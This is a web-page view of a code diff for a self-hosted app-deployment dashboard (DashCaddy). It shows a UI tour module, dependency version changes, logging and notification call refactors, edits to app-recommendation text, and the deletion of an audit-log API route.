setupDynamicRepositioning() {
|
setupDynamicRepositioning() {
|
||||||
// Window resize handler with debouncing
|
// Window resize handler with debouncing
|
||||||
let resizeTimeout;
|
let resizeTimeout;
|
||||||
this.resizeHandler = () => {
|
this.resizeHandler = () => {
|
||||||
clearTimeout(resizeTimeout);
|
clearTimeout(resizeTimeout);
|
||||||
resizeTimeout = setTimeout(() => {
|
resizeTimeout = setTimeout(() => {
|
||||||
if (this.isActive && this.driver) {
|
if (this.isActive && this.driver) {
|
||||||
console.log('[TourManager] Window resized, repositioning tooltip');
|
console.log('[TourManager] Window resized, repositioning tooltip');
|
||||||
this.driver.refresh();
|
this.driver.refresh();
|
||||||
}
|
}
|
||||||
}, 150); // Debounce for 150ms
|
}, 150); // Debounce for 150ms
|
||||||
};
|
};
|
||||||
|
|
||||||
// Layout change handler (for theme changes, DOM mutations)
|
// Layout change handler (for theme changes, DOM mutations)
|
||||||
this.layoutChangeHandler = () => {
|
this.layoutChangeHandler = () => {
|
||||||
if (this.isActive && this.driver) {
|
if (this.isActive && this.driver) {
|
||||||
console.log('[TourManager] Layout changed, repositioning tooltip');
|
console.log('[TourManager] Layout changed, repositioning tooltip');
|
||||||
// Small delay to allow layout to settle
|
// Small delay to allow layout to settle
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
if (this.driver) {
|
if (this.driver) {
|
||||||
this.driver.refresh();
|
this.driver.refresh();
|
||||||
}
|
}
|
||||||
}, 100);
|
}, 100);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// Add event listeners
|
// Add event listeners
|
||||||
window.addEventListener('resize', this.resizeHandler);
|
window.addEventListener('resize', this.resizeHandler);
|
||||||
|
|
||||||
// Listen for theme changes (already handled by ThemeAdapter, but also trigger reposition)
|
// Listen for theme changes (already handled by ThemeAdapter, but also trigger reposition)
|
||||||
this.themeAdapter.onThemeChange(this.layoutChangeHandler);
|
this.themeAdapter.onThemeChange(this.layoutChangeHandler);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Clean up dynamic repositioning listeners
|
* Clean up dynamic repositioning listeners
|
||||||
*/
|
*/
|
||||||
cleanupDynamicRepositioning() {
|
cleanupDynamicRepositioning() {
|
||||||
if (this.resizeHandler) {
|
if (this.resizeHandler) {
|
||||||
window.removeEventListener('resize', this.resizeHandler);
|
window.removeEventListener('resize', this.resizeHandler);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get buttons to show for a specific step
|
* Get buttons to show for a specific step
|
||||||
* @private
|
* @private
|
||||||
*/
|
*/
|
||||||
_getButtonsForStep(tooltip, isFirst, isLast) {
|
_getButtonsForStep(tooltip, isFirst, isLast) {
|
||||||
// Check if tooltip has custom buttons defined
|
// Check if tooltip has custom buttons defined
|
||||||
if (tooltip.popover.showButtons) {
|
if (tooltip.popover.showButtons) {
|
||||||
return tooltip.popover.showButtons;
|
return tooltip.popover.showButtons;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Default button configuration
|
// Default button configuration
|
||||||
const buttons = [];
|
const buttons = [];
|
||||||
|
|
||||||
if (!isFirst) {
|
if (!isFirst) {
|
||||||
buttons.push('previous');
|
buttons.push('previous');
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!isLast) {
|
if (!isLast) {
|
||||||
buttons.push('next');
|
buttons.push('next');
|
||||||
} else {
|
} else {
|
||||||
buttons.push('close');
|
buttons.push('close');
|
||||||
}
|
}
|
||||||
|
|
||||||
return buttons;
|
return buttons;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle tour completion
|
* Handle tour completion
|
||||||
*/
|
*/
|
||||||
onTourComplete() {
|
onTourComplete() {
|
||||||
this.progressTracker.markTourCompleted();
|
this.progressTracker.markTourCompleted();
|
||||||
this.isActive = false;
|
this.isActive = false;
|
||||||
console.log('[TourManager] Tour completed');
|
console.log('[TourManager] Tour completed');
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Handle tour skip
|
* Handle tour skip
|
||||||
*/
|
*/
|
||||||
onTourSkip() {
|
onTourSkip() {
|
||||||
// Save current progress but don't mark as completed
|
// Save current progress but don't mark as completed
|
||||||
console.log('[TourManager] Tour skipped');
|
console.log('[TourManager] Tour skipped');
|
||||||
this.isActive = false;
|
this.isActive = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
window.TourManager = TourManager;
|
window.TourManager = TourManager;
|
||||||
console.log('[TourManager] Module loaded');
|
console.log('[TourManager] Module loaded');
|
||||||
|
|
||||||
})(window);
|
})(window);
|
||||||
|
|||||||
Generated
+160
-1078
File diff suppressed because it is too large
Load Diff
@@ -33,13 +33,12 @@
|
|||||||
"js-yaml": "^4.1.1",
|
"js-yaml": "^4.1.1",
|
||||||
"jsonwebtoken": "^9.0.2",
|
"jsonwebtoken": "^9.0.2",
|
||||||
"lru-cache": "^10.4.3",
|
"lru-cache": "^10.4.3",
|
||||||
"nodemailer": "^9.0.5",
|
"nodemailer": "^8.0.4",
|
||||||
"otplib": "^12.0.1",
|
"otplib": "^12.0.1",
|
||||||
"pdfkit": "^0.15.2",
|
|
||||||
"png-to-ico": "^2.1.8",
|
"png-to-ico": "^2.1.8",
|
||||||
"proper-lockfile": "^4.1.2",
|
"proper-lockfile": "^4.1.2",
|
||||||
"qrcode": "^1.5.3",
|
"qrcode": "^1.5.3",
|
||||||
"sharp": "^0.35.3",
|
"sharp": "^0.33.5",
|
||||||
"ssh2-sftp-client": "^11.0.0",
|
"ssh2-sftp-client": "^11.0.0",
|
||||||
"validator": "^13.11.0",
|
"validator": "^13.11.0",
|
||||||
"webdav": "^5.7.1",
|
"webdav": "^5.7.1",
|
||||||
@@ -48,7 +47,6 @@
|
|||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"eslint": "^8.57.1",
|
"eslint": "^8.57.1",
|
||||||
"jest": "^29.7.0",
|
"jest": "^29.7.0",
|
||||||
"pdf-parse": "^1.1.4",
|
|
||||||
"prettier": "^3.8.1",
|
"prettier": "^3.8.1",
|
||||||
"supertest": "^6.3.4"
|
"supertest": "^6.3.4"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -53,14 +53,11 @@ const INTENT_PATTERNS = [
|
|||||||
message: 'For media streaming, I recommend:',
|
message: 'For media streaming, I recommend:',
|
||||||
recommendations: [
|
recommendations: [
|
||||||
{ app: 'plex', reason: 'Stream movies and TV shows to any device' },
|
{ app: 'plex', reason: 'Stream movies and TV shows to any device' },
|
||||||
{ app: 'jellyfin', reason: 'Free open-source alternative to Plex, no premium features locked' },
|
|
||||||
{ app: 'emby', reason: 'Media server with live TV and parental controls' },
|
|
||||||
{ app: 'sonarr', reason: 'Automatically download TV shows' },
|
{ app: 'sonarr', reason: 'Automatically download TV shows' },
|
||||||
{ app: 'radarr', reason: 'Automatically download movies' },
|
{ app: 'radarr', reason: 'Automatically download movies' },
|
||||||
{ app: 'qbittorrent', reason: 'Download client for media files' },
|
{ app: 'qbittorrent', reason: 'Download client for media files' },
|
||||||
],
|
],
|
||||||
question: 'Would you like me to deploy any of these?',
|
question: 'Would you like me to deploy any of these?',
|
||||||
disclaimer: 'DashCaddy provides deployment tools only. Users are responsible for complying with all applicable copyright and intellectual property laws. Always stream content you own or have rights to access.',
|
|
||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
|
|
||||||
@@ -337,4 +334,4 @@ module.exports = function({ asyncHandler }) {
|
|||||||
return router;
|
return router;
|
||||||
};
|
};
|
||||||
|
|
||||||
module.exports.routeIntent = routeIntent;
|
module.exports.routeIntent = routeIntent;
|
||||||
|
|||||||
@@ -95,7 +95,7 @@ module.exports = function({ docker, caddy, credentialManager, servicesStateManag
|
|||||||
log.info('deploy', 'DashCA: For full features, copy certificate files to ' + destPath);
|
log.info('deploy', 'DashCA: For full features, copy certificate files to ' + destPath);
|
||||||
log.info('deploy', 'DashCA: Static site deployment completed successfully');
|
log.info('deploy', 'DashCA: Static site deployment completed successfully');
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
log.error('deploy', error, null, { note: 'DashCA deployment error' });
|
log.error('deploy', 'DashCA deployment error', { error: error.message });
|
||||||
throw new Error(`DashCA deployment failed: ${error.message}`);
|
throw new Error(`DashCA deployment failed: ${error.message}`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -231,7 +231,7 @@ module.exports = function({ docker, caddy, credentialManager, servicesStateManag
|
|||||||
await portLockManager.releasePorts(lockId);
|
await portLockManager.releasePorts(lockId);
|
||||||
log.info('deploy', 'Port locks released after error', { lockId });
|
log.info('deploy', 'Port locks released after error', { lockId });
|
||||||
} catch (releaseError) {
|
} catch (releaseError) {
|
||||||
log.error('deploy', releaseError, null, { note: 'Failed to release port locks', lockId });
|
log.error('deploy', 'Failed to release port locks', { lockId, error: releaseError.message });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw deployError;
|
throw deployError;
|
||||||
@@ -419,21 +419,15 @@ module.exports = function({ docker, caddy, credentialManager, servicesStateManag
|
|||||||
const notificationMessage = usedExisting
|
const notificationMessage = usedExisting
|
||||||
? `**${template.name}** configured using existing container.\nURL: ${serviceUrl}`
|
? `**${template.name}** configured using existing container.\nURL: ${serviceUrl}`
|
||||||
: `**${template.name}** has been deployed successfully.\nURL: ${serviceUrl}`;
|
: `**${template.name}** has been deployed successfully.\nURL: ${serviceUrl}`;
|
||||||
ctx.notification.send('deploymentSuccess', {
|
ctx.notification.send('deploymentSuccess', usedExisting ? 'Configuration Complete' : 'Deployment Successful', notificationMessage, 'success');
|
||||||
title: usedExisting ? 'Configuration Complete' : 'Deployment Successful',
|
|
||||||
text: notificationMessage
|
|
||||||
}, 'success');
|
|
||||||
|
|
||||||
res.json(response);
|
res.json(response);
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
try { await logError('app-deploy', error, { appId, config }); } catch (_) { /* logError failure should not mask original error */ }
|
try { await logError('app-deploy', error, { appId, config }); } catch (_) { /* logError failure should not mask original error */ }
|
||||||
const msg = error?.message || String(error || 'Unknown error');
|
const msg = error?.message || String(error || 'Unknown error');
|
||||||
log.error('deploy', error, null, { note: 'Deployment failed', appId });
|
log.error('deploy', 'Deployment failed', { appId, error: msg });
|
||||||
const template = ctx.APP_TEMPLATES[appId];
|
const template = ctx.APP_TEMPLATES[appId];
|
||||||
try { ctx.notification.send('deploymentFailed', {
|
try { ctx.notification.send('deploymentFailed', 'Deployment Failed', `Failed to deploy **${template?.name || appId}**.\nError: ${msg}`, 'error'); } catch (_) {}
|
||||||
title: 'Deployment Failed',
|
|
||||||
text: `Failed to deploy **${template?.name || appId}**.\nError: ${msg}`
|
|
||||||
}, 'error'); } catch (_) {}
|
|
||||||
errorResponse(res, 500, ctx.safeErrorMessage(error));
|
errorResponse(res, 500, ctx.safeErrorMessage(error));
|
||||||
}
|
}
|
||||||
}, 'apps-deploy'));
|
}, 'apps-deploy'));
|
||||||
|
|||||||
@@ -297,7 +297,7 @@ module.exports = function({ docker, caddy, servicesStateManager, asyncHandler, e
|
|||||||
// P0-5 fix: was `errorResponse(res, 500, err.message)` which leaks internal
|
// P0-5 fix: was `errorResponse(res, 500, err.message)` which leaks internal
|
||||||
// error details (paths, stack traces, library error codes) to the client.
|
// error details (paths, stack traces, library error codes) to the client.
|
||||||
// Log the actual error server-side and return a generic message.
|
// Log the actual error server-side and return a generic message.
|
||||||
log.error('apps-revert', err, null, { note: 'Revert failed', stack: err.stack });
|
log.error('apps-revert', 'Revert failed', { error: err.message, stack: err.stack });
|
||||||
errorResponse(res, 500, 'Revert failed');
|
errorResponse(res, 500, 'Revert failed');
|
||||||
}
|
}
|
||||||
}, 'apps-revert'));
|
}, 'apps-revert'));
|
||||||
|
|||||||
@@ -148,7 +148,7 @@ module.exports = function({
|
|||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
results.caddy = `failed: ${error.message}`;
|
results.caddy = `failed: ${error.message}`;
|
||||||
log.error('caddy', error, null, { note: 'Caddy update error' });
|
log.error('caddy', 'Caddy update error', { error: error.message });
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -478,10 +478,8 @@ module.exports = function(ctx) {
|
|||||||
if (anyConfigured) {
|
if (anyConfigured) {
|
||||||
notification.send(
|
notification.send(
|
||||||
'deploymentSuccess',
|
'deploymentSuccess',
|
||||||
{
|
'Arr Stack Auto-Connected',
|
||||||
title: 'Arr Stack Auto-Connected',
|
`Overseerr configured: ${Object.entries(configResults).filter(([k,v]) => v === 'configured').map(([k]) => k).join(', ')}`,
|
||||||
text: `Overseerr configured: ${Object.entries(configResults).filter(([k,v]) => v === 'configured').map(([k]) => k).join(', ')}`
|
|
||||||
},
|
|
||||||
'success'
|
'success'
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ module.exports = function({ docker, credentialManager, fetchT, log }) {
|
|||||||
stream.on('error', () => resolve(null));
|
stream.on('error', () => resolve(null));
|
||||||
});
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
log.error('docker', error, null, { note: 'Failed to get API key', containerName });
|
log.error('docker', 'Failed to get API key', { containerName, error: error.message });
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -71,7 +71,7 @@ module.exports = function({ docker, credentialManager, fetchT, log }) {
|
|||||||
stream.on('error', () => resolve(null));
|
stream.on('error', () => resolve(null));
|
||||||
});
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
log.error('docker', error, null, { note: 'Failed to get Plex token' });
|
log.error('docker', 'Failed to get Plex token', { error: error.message });
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -123,7 +123,7 @@ module.exports = function({ docker, credentialManager, fetchT, log }) {
|
|||||||
const sessionCookie = setCookie.split(';')[0];
|
const sessionCookie = setCookie.split(';')[0];
|
||||||
return { cookie: sessionCookie, plexToken };
|
return { cookie: sessionCookie, plexToken };
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log.error('arr', e, null, { note: 'Could not get Seerr session' });
|
log.error('arr', 'Could not get Seerr session', { error: e.message });
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -313,10 +313,8 @@ module.exports = function({ credentialManager, servicesStateManager, fetchT, asy
|
|||||||
if (succeeded > 0) {
|
if (succeeded > 0) {
|
||||||
ctx.notification.send(
|
ctx.notification.send(
|
||||||
'deploymentSuccess',
|
'deploymentSuccess',
|
||||||
{
|
'Smart Arr Connect Complete',
|
||||||
title: 'Smart Arr Connect Complete',
|
`${succeeded}/${steps.length} steps completed successfully`,
|
||||||
text: `${succeeded}/${steps.length} steps completed successfully`
|
|
||||||
},
|
|
||||||
'success'
|
'success'
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,211 +0,0 @@
|
|||||||
/**
|
|
||||||
* Audit log viewer routes
|
|
||||||
*
|
|
||||||
* Exposes:
|
|
||||||
* GET /api/v1/audit-logs — paginated audit entries (auth-gated)
|
|
||||||
* GET /api/v1/audit-logs/actions — distinct action prefixes (for filter dropdowns)
|
|
||||||
* DELETE /api/v1/audit-logs — clear the audit log (admin-gated)
|
|
||||||
*
|
|
||||||
* The frontend at status/js/audit-log.js already calls /api/v1/audit-logs
|
|
||||||
* with {limit, offset, action=<prefix>}. Before this route existed the
|
|
||||||
* frontend silently 404'd (see STATE.md Queue item #1, DC-050).
|
|
||||||
*
|
|
||||||
* Auth: same as the rest of /api/v1 — handled by the global middleware
|
|
||||||
* (the router is mounted under the auth-gated apiRouter in app.js).
|
|
||||||
*
|
|
||||||
* @module routes/audit-log
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const { success, errorResponse } = require('../src/utils/responses');
|
|
||||||
|
|
||||||
// Action prefixes that the dashboard's filter dropdown offers + that the
|
|
||||||
// `action` query parameter will accept. Curated, NOT derived from current
|
|
||||||
// log contents — see /audit-logs/actions for the live set.
|
|
||||||
const ACTION_PREFIX_WHITELIST = [
|
|
||||||
'service', 'container', 'caddy', 'dns', 'backup', 'config',
|
|
||||||
'auth', 'totp', 'update', 'monitoring', 'site', 'arr', 'tailscale',
|
|
||||||
];
|
|
||||||
|
|
||||||
const ISO8601_RE = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?(Z|[+-]\d{2}:?\d{2})$/;
|
|
||||||
|
|
||||||
function parseInt10(value, fallback) {
|
|
||||||
const n = parseInt(value, 10);
|
|
||||||
return Number.isFinite(n) ? n : fallback;
|
|
||||||
}
|
|
||||||
|
|
||||||
function isValidActionPrefix(value) {
|
|
||||||
return ACTION_PREFIX_WHITELIST.includes(value);
|
|
||||||
}
|
|
||||||
|
|
||||||
function isValidIso(value) {
|
|
||||||
if (typeof value !== 'string' || value.length < 10) return false;
|
|
||||||
return ISO8601_RE.test(value);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse an ISO 8601 string into ms-since-epoch. Returns NaN for invalid
|
|
||||||
// input — callers must pre-validate with isValidIso(). Used to compare
|
|
||||||
// timestamps numerically (lexicographic compare breaks when the two
|
|
||||||
// strings use different offset formats).
|
|
||||||
function toEpochMs(iso) {
|
|
||||||
const ms = Date.parse(iso);
|
|
||||||
return ms;
|
|
||||||
}
|
|
||||||
|
|
||||||
module.exports = function({ asyncHandler, auditLogger }) {
|
|
||||||
if (!auditLogger || typeof auditLogger.query !== 'function') {
|
|
||||||
throw new Error('audit-log route requires auditLogger with query()');
|
|
||||||
}
|
|
||||||
|
|
||||||
const router = express.Router();
|
|
||||||
|
|
||||||
// GET /audit-logs?limit=50&offset=0&action=<prefix>&since=<iso>&until=<iso>&outcome=<success|failure>
|
|
||||||
router.get('/audit-logs', asyncHandler(async (req, res) => {
|
|
||||||
const limit = Math.min(Math.max(parseInt10(req.query.limit, 50), 1), 500);
|
|
||||||
const offset = Math.max(parseInt10(req.query.offset, 0), 0);
|
|
||||||
const actionPrefix = typeof req.query.action === 'string' && req.query.action.length > 0
|
|
||||||
? req.query.action
|
|
||||||
: null;
|
|
||||||
const sinceRaw = typeof req.query.since === 'string' && req.query.since.length > 0
|
|
||||||
? req.query.since
|
|
||||||
: null;
|
|
||||||
const untilRaw = typeof req.query.until === 'string' && req.query.until.length > 0
|
|
||||||
? req.query.until
|
|
||||||
: null;
|
|
||||||
const outcome = typeof req.query.outcome === 'string' && req.query.outcome.length > 0
|
|
||||||
? req.query.outcome
|
|
||||||
: null;
|
|
||||||
|
|
||||||
if (actionPrefix !== null && !isValidActionPrefix(actionPrefix)) {
|
|
||||||
return errorResponse(res, 400,
|
|
||||||
`action must be one of: ${ACTION_PREFIX_WHITELIST.join(', ')}`);
|
|
||||||
}
|
|
||||||
if (sinceRaw !== null && !isValidIso(sinceRaw)) {
|
|
||||||
return errorResponse(res, 400, 'since must be ISO 8601 (e.g. 2026-08-17T00:00:00Z)');
|
|
||||||
}
|
|
||||||
if (untilRaw !== null && !isValidIso(untilRaw)) {
|
|
||||||
return errorResponse(res, 400, 'until must be ISO 8601 (e.g. 2026-08-18T00:00:00Z)');
|
|
||||||
}
|
|
||||||
if (outcome !== null && !['success', 'failure', 'unknown'].includes(outcome)) {
|
|
||||||
return errorResponse(res, 400, 'outcome must be one of: success, failure, unknown');
|
|
||||||
}
|
|
||||||
const sinceMs = sinceRaw !== null ? toEpochMs(sinceRaw) : null;
|
|
||||||
const untilMs = untilRaw !== null ? toEpochMs(untilRaw) : null;
|
|
||||||
if (sinceMs !== null && untilMs !== null && sinceMs > untilMs) {
|
|
||||||
return errorResponse(res, 400, 'since must be <= until');
|
|
||||||
}
|
|
||||||
|
|
||||||
// Pull the FULL store (capped at MAX_ENTRIES by audit-logger) so
|
|
||||||
// date + outcome filters see the whole log, not the newest-N-only slice.
|
|
||||||
// The store is bounded by design; a 1000-entry in-memory filter pass is
|
|
||||||
// cheap (~tens of ms) and correct. Read the env-tunable MAX_ENTRIES so
|
|
||||||
// operators who raise AUDIT_MAX_ENTRIES get correct filter coverage.
|
|
||||||
const MAX_AUDIT_ENTRIES = parseInt(process.env.AUDIT_MAX_ENTRIES || '1000', 10);
|
|
||||||
const allEntries = await auditLogger.query({
|
|
||||||
limit: MAX_AUDIT_ENTRIES,
|
|
||||||
offset: 0,
|
|
||||||
action: actionPrefix || undefined,
|
|
||||||
});
|
|
||||||
|
|
||||||
let filtered = allEntries;
|
|
||||||
if (sinceMs !== null) {
|
|
||||||
filtered = filtered.filter((e) => {
|
|
||||||
const t = toEpochMs(e.timestamp);
|
|
||||||
return Number.isFinite(t) && t >= sinceMs;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
if (untilMs !== null) {
|
|
||||||
filtered = filtered.filter((e) => {
|
|
||||||
const t = toEpochMs(e.timestamp);
|
|
||||||
return Number.isFinite(t) && t <= untilMs;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
if (outcome !== null) {
|
|
||||||
filtered = filtered.filter((e) => (e.outcome || 'unknown') === outcome);
|
|
||||||
}
|
|
||||||
|
|
||||||
const total = filtered.length;
|
|
||||||
const page = filtered.slice(offset, offset + limit);
|
|
||||||
|
|
||||||
return success(res, {
|
|
||||||
entries: page,
|
|
||||||
total,
|
|
||||||
limit,
|
|
||||||
offset,
|
|
||||||
// truncated: true tells the caller the total is bounded by the
|
|
||||||
// store's MAX_AUDIT_ENTRIES — the operator can see the whole log
|
|
||||||
// but if more entries have been written since the last clear,
|
|
||||||
// older rows are dropped at write-time, not at read-time.
|
|
||||||
truncated: allEntries.length >= MAX_AUDIT_ENTRIES,
|
|
||||||
hasMore: offset + page.length < total,
|
|
||||||
filters: { action: actionPrefix, since: sinceRaw, until: untilRaw, outcome },
|
|
||||||
});
|
|
||||||
}, 'audit-logs-list'));
|
|
||||||
|
|
||||||
// GET /audit-logs/actions — return the distinct action prefixes present
|
|
||||||
// in the current log, INTERSECTED with the whitelist so the dropdown
|
|
||||||
// only offers prefixes the GET /audit-logs filter will actually accept.
|
|
||||||
router.get('/audit-logs/actions', asyncHandler(async (req, res) => {
|
|
||||||
const maxAudit = parseInt(process.env.AUDIT_MAX_ENTRIES || '1000', 10);
|
|
||||||
const entries = await auditLogger.query({ limit: maxAudit, offset: 0 });
|
|
||||||
const seen = new Set();
|
|
||||||
for (const e of entries) {
|
|
||||||
if (!e.action) continue;
|
|
||||||
const dot = e.action.indexOf('.');
|
|
||||||
const prefix = dot > 0 ? e.action.slice(0, dot) : e.action;
|
|
||||||
// Only surface prefixes that are also in the whitelist — otherwise
|
|
||||||
// the dropdown would offer a prefix that GET /audit-logs would 400.
|
|
||||||
if (ACTION_PREFIX_WHITELIST.includes(prefix)) seen.add(prefix);
|
|
||||||
}
|
|
||||||
const prefixes = Array.from(seen).sort();
|
|
||||||
return success(res, { prefixes });
|
|
||||||
}, 'audit-logs-actions'));
|
|
||||||
|
|
||||||
// DELETE /audit-logs — clear the audit log. The frontend's "Clear Log"
|
|
||||||
// button already calls DELETE /api/v1/audit-logs (status/js/audit-log.js).
|
|
||||||
// Body must include { confirm: 'CLEAR' } as an opt-in guard against
|
|
||||||
// accidental destructive calls.
|
|
||||||
//
|
|
||||||
// Forensic integrity: clear() wipes audit-log.json to []. A naive
|
|
||||||
// "log audit.clear before clear()" leaves zero trace because clear()
|
|
||||||
// runs after — the new entry is wiped with the rest. Fix: write the
|
|
||||||
// audit.clear entry FIRST so it's in the buffer, then clear() the
|
|
||||||
// store, then RE-INJECT the audit.clear entry as the single surviving
|
|
||||||
// row. The viewer shows "1 entry: audit.clear by <user> at <ts>" — a
|
|
||||||
// visible forensic breadcrumb that the log was just wiped.
|
|
||||||
router.delete('/audit-logs', asyncHandler(async (req, res) => {
|
|
||||||
const confirm = req.body?.confirm;
|
|
||||||
if (confirm !== 'CLEAR') {
|
|
||||||
return errorResponse(res, 400,
|
|
||||||
'destructive op: pass { confirm: "CLEAR" } in JSON body');
|
|
||||||
}
|
|
||||||
const ip = req.ip || req.socket?.remoteAddress || '';
|
|
||||||
const userAttrs = (req.user && req.user.id) ? {
|
|
||||||
userId: req.user.id,
|
|
||||||
userRole: req.user.role || null,
|
|
||||||
userEmail: req.user.email || null,
|
|
||||||
} : {};
|
|
||||||
const clearEntry = {
|
|
||||||
action: 'audit.clear',
|
|
||||||
resource: 'audit-log.json',
|
|
||||||
outcome: 'success',
|
|
||||||
ip,
|
|
||||||
details: {
|
|
||||||
confirmedBy: req.body?.confirmedBy || 'dashboard',
|
|
||||||
...userAttrs,
|
|
||||||
},
|
|
||||||
};
|
|
||||||
// Write the clear entry FIRST so it lands at index 0 of the buffer.
|
|
||||||
// Failure is non-fatal — the operator still wants the log cleared.
|
|
||||||
try { await auditLogger.log(clearEntry); } catch (_) { /* non-fatal */ }
|
|
||||||
// Now wipe the store. The just-written audit.clear entry is wiped too.
|
|
||||||
await auditLogger.clear();
|
|
||||||
// Re-inject the audit.clear entry so the forensic breadcrumb survives.
|
|
||||||
// This is the difference between "log wiped, zero trace" and
|
|
||||||
// "log wiped, viewer shows one entry: audit.clear by X at T".
|
|
||||||
try { await auditLogger.log(clearEntry); } catch (_) { /* non-fatal */ }
|
|
||||||
return success(res, { cleared: true });
|
|
||||||
}, 'audit-logs-clear'));
|
|
||||||
|
|
||||||
return router;
|
|
||||||
};
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user